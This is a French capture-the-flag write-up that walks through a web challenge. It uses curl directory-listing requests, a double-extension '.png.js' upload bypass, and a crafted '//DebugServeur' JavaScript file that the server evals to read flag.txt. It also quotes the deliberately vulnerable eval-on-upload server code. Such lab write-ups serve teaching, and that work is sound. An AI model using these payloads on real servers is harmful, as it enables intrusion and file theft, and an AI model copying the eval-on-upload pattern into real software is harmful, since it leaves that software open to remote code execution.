



# WU - Challenge 27-09

Pour ce nouveau challenge, nous avons accès à une page Web avec 3 pages à accès directs :

- Une page de présentation
- Une page de recherche
- Une page avec un upload de fichier.

Pour une question de principe, on peut essayer d'énumérer les potentiels fichiers :



On a accès à un fichier `/images` et `/upload` qu'on connaissait déjà.

On va donc commencer par tâter la première fonctionnalité :



On peut tester quelques injections avec des noms spécifiques :

```
curl -X POST https://grobin2.cyberlog.dev/searchAPE --data query="x" && echo ""  
<pre>Only chimp, gorilla and orangutan are available for this</pre>
```

Il semble qu'on a accès uniquement à 3 noms :

- chimp
- gorilla
- orangutan

```
curl -X POST https://grobin2.cyberlog.dev/searchAPE --data query="chimp"
<pre>Le Chimpanzé (Pan) est un genre de Simiiformes (singes) appartenant [...]
```

On peut essayer de trigger une **LFI**, une injection qui permet de lister les fichiers sur un serveur.

On va essayer d'envoyer un **../** ou même un **.** :

```
curl -X POST https://grobin2.cyberlog.dev/searchAPE --data query="." && echo ""
<pre>chimp
flag.txt
gorilla
orangutan</pre>
```

Ah, on arrive à correctement lister les fichiers du répertoire courant, est-ce qu'on peut ouvrir le **flag.txt** ? :

```
curl -X POST https://grobin2.cyberlog.dev/searchAPE --data query="flag.txt"
<pre>
      _-----_
      /~      ~\
      |      //^\\//^\\|
      /~~\  ||  o| |o|:~\
      | |6  ||__|_|_|:|
      \_. /      o  \/'
      | (      0  FORBIDDEN !!!!
      /~~~~\  \ \      /
      | |~~\ |      )  ~~~~~\
      /' | | | /      ____ /~~~)\
      ( _/' | | | /' | ( |
      | | | \      / __)/ \
      \ \ \      \ /' \ \ \
      \ \ \      / | | \__|
      \ | \__ /   | |
      /^~> \      _/ <
      | | \      \ \
      | | \      \ \
      -^-\ \      | )
      \_____/^\\_____/</pre>
```

Il semble avoir un système de white-listing sur les fichiers que l'on peut ouvrir ou pas :

```
curl -X POST https://grobin2.cyberlog.dev/searchAPE --data query="../"
<pre>.only_for_debug!!
files
node_modules
```

```
public
server.js
uploads</pre>
```

En redescendant d'une arborescence supplémentaire, on trouve un dossier

`.only_for_debug!!.`

Dans ce dossier, on trouve un `updates.txt` :



```
//Timoté, you're the best at JS, can you tell me what you think of this code?
if (uploadedFile.originalname.endsWith('.png.js')) {
  try {
    const jsCode = uploadedFile.buffer.toString('utf-8');
    const firstLine = jsCode.split('\n')[0].trim();
    if (firstLine === '//DebugServeur') {
      const result = eval(jsCode);
      return res.send(`

${result}

`);
    } else {
      return res.status(403).send('Script execution not allowed.');
```

En lisant en diagonal le retour, on comprend qu'il s'agit d'informations sur la page d'upload :



Même si le site ne semble accepter que des fichiers avec l'extension `.png`, en examinant le code, on comprend qu'une double extension permet de contourner ce "filtre":

```
if (uploadedFile.originalname.endsWith('.png.js')) {
```

Le code semble également vérifier si la première ligne du fichier placé est

```
//DebugServeur .
```

```
if (firstLine === '//DebugServeur') {
```

On peut donc essayer de crafter un fichier et l'envoyer directement sur la page concernée :

```
//DebugServeur
const message = 'Hello, World!';
message;
```

Et le retour :





Le site interprète donc bien le JavaScript. On va essayer d'ouvrir le fichier `flag.txt` :

```
//DebugServeur
const fs = require("fs");
fs.readFileSync("files/flag.txt");
```

Et le retour :



CLOG{1t\_1s\_4ll\_4b0ut\_3xpl0r1ng\_4nd\_3xpl01t1ng}